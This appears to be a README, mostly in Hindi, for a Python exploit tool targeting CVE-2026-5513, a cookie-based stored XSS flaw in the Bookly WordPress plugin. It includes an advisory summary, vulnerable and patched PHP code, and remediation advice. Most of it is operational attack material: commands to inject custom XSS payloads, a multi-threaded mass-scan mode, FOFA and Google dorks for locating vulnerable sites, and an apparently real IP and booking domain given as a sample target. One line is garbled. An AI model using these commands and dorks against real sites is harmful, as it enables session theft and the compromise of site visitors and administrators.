
CVE-2026-5513: Bookly <= 27.2 Stored XSS via Cookie (Unauthenticated)
| क्षेत्र | मान |
|---|---|
| CVE ID | CVE-2026-5513 |
| कमजोरी | संग्रहीत क्रॉस-साइट स्क्रिप्टिंग (XSS) |
| प्लगइन | Bookly — ऑनलाइन शेड्यूलिंग और अपॉइंटमेंट बुकिंग सिस्टम |
| प्रभावित संस्करण | ≤ 27.2 |
| पैच किया गया | 27.3+ |
| CVSS 3.1 | 7.2 (उच्च) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N |
| CWE | CWE-79 |
| प्रमाणीकरण आवश्यक | कोई नहीं |
| पूर्वापेक्षा | Remember personal information in cookies को सक्षम होना चाहिए (डिफ़ॉल्ट रूप से अक्षम) |
वर्डप्रेस के लिए Bookly प्लगइन संग्रहीत क्रॉस-साइट स्क्रिप्टिंग के लिए असुरक्षित है, जो bookly-customer-full-name कुकी के माध्यम से 27.2 तक और उस सहित संस्करणों में अपर्याप्त इनपुट स्वच्छता और आउटपुट एस्केपिंग के कारण होता है।
जब "Remember personal information in cookies" सेटिंग सक्षम होती है, तो प्लगइन bookly-customer-full-name कुकी मान पढ़ता है और इसे बुकिंग फॉर्म HTML में सीधे उचित एस्केपिंग के बिना प्रस्तुत करता है। एक अप्रमाणित हमलावर इस कुकी के माध्यम से मनमाने जावास्क्रिप्ट पेलोड इंजेक्ट कर सकता है, जो किसी भी उपयोगकर्ता (प्रशासकों सहित) द्वारा Bookly बुकिंग फॉर्म वाले पृष्ठ पर जाने पर निष्पादित होते हैं।
Attacker → Set malicious cookie (bookly-customer-full-name=<script>...</script>)
→ Visit page with Bookly booking form
→ Plugin reads cookie, renders value without escaping
→ XSS payload executes in victim's browser context
// VULNERABLE — Bookly ≤ 27.2
$full_name = $_COOKIE['bookly-customer-full-name']; // No sanitization
echo '<input type="text" value="' . $full_name . '" />'; // No escaping
// PATCHED — Bookly 27.3+
$full_name = sanitize_text_field($_COOKIE['bookly-customer-full-name']);
echo '<input type="text" value="' . esc_attr($full_name) . '" />';
✓ Auto IP/Domain probing (HTTP/HTTPS, common ports, redirect detection)
✓ WordPress & Bookly plugin detection with version check
✓ Cookie setting detection (BooklyL10n JS analysis + canary reflection)
✓ Multi-context XSS testing (HTML, JavaScript, attribute injection)
✓ Payload injection with reflection verification
✓ Single target or mass scan from file
✓ Multi-threaded scanning (up to 20 threads)
✓ Proxy support (Burp, etc.)
✓ Auto-save vulnerable results
✓ Interactive menu + CLI modes
pip install requests colorama
# Check single target
python CVE-2026-5513.py -u https://target.com -v
# Check single IP (auto-probe ports + redirects)
python CVE-2026-5513.py -u 167.99.0.203 -v
# Check + inject XSS payload
python CVE-2026-5513.py -u https://target.com --inject -v
# Custom XSS payload
python CVE-2026-5513.py -u https://target.com --inject --payload "<svg onload=alert(document.cookie)>"
# Mass scan from file
python CVE-2026-5513.py -l targets.txt -t 20 -o vuln.txt
# With Burp proxy
python CVE-2026-5513.py -u https://target.com -v --proxy http://127.0.0.1:8080
python CVE-2026-5513.py
यह उपकरण -u या लक्ष्य सूची फ़ाइल में निम्नलिखित में से कोई भी स्वरूप स्वीकार करता है:
https://example.com
http://example.com
example.com
192.168.1.100
192.168.1.100:8080
सादे IP के लिए, उपकरण स्वचालित रूप से:
167.99.0.203 → https://book.repairrite.com)/wp/, /blog/, /wordpress/, आदि)STEP 0 → Probe target (IP/domain → resolve base URL, detect redirects)
STEP 1 → Detect Bookly plugin (readme.txt, plugin dir, assets, version check)
STEP 2 → Check cookie setting (BooklyL10n JS analysis + canary reflection test)
STEP 3 → Test XSS reflection (HTML context, JS context, attribute context)
STEP 4 → Inject payload (if --inject mode, verify reflection)
# FOFA
body="bookly-responsive-appointment-booking-tool"
body="bookly-customer-full-name"
body="bookly-form-group" && body="wp-content/plugins/bookly"
# Google
inurl:"/wp-content/plugins/bookly-responsive-appointment-booking-tool/readme.txt"
intitle:"Book Appointment" inurl:"booking" intext:"bookly"
| प्राथमिकता | कार्रवाई |
|---|---|
| 🔴 | Bookly को संस्करण 27.3+ में अपडेट करें |
| 🟡 | Bookly सेटिंग्स → सामान्य में 'Remember personal information in cookies' को अक्षम करें |
| 🟢 | कुकी मानों में XSS को फ़िल्टर करने के लिए WAF नियम लागू करें |
यह उपकरण केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है। परीक्षण से पहले हमेशा उचित प्राधिकरण प्राप्त करें। लेखक इस उपकरण के किसी भी दुरुपयोग के लिए जिम्मेदार नहीं है।
MIT
| फ़्लैग | विवरण |
|---|
-u URL | एकल लक्ष्य (URL, डोमेन, या IP) |
-l FILE | लक्ष्यों की सूची वाली फ़ाइल (प्रति पंक्ति एक) |
--inject | XSS पेलोड इंजेक्ट करें (डिफ़ॉल्ट: केवल जांच) |
--payload STR | कस्टम XSS पेलोड |
-t N | थ्रेड्स की संख्या (डिफ़ॉल्ट: 10, अधिकतम: 20) |
--proxy URL | HTTP प्रॉक्सी (उदा. http://127.0.0.1:8080) |
-o FILE | परिणाम फ़ाइल में सहेजें |
-v | विस्तृत आउटपुट |
| 🟢 | Content-Security-Policy (CSP) हेडर लागू करें |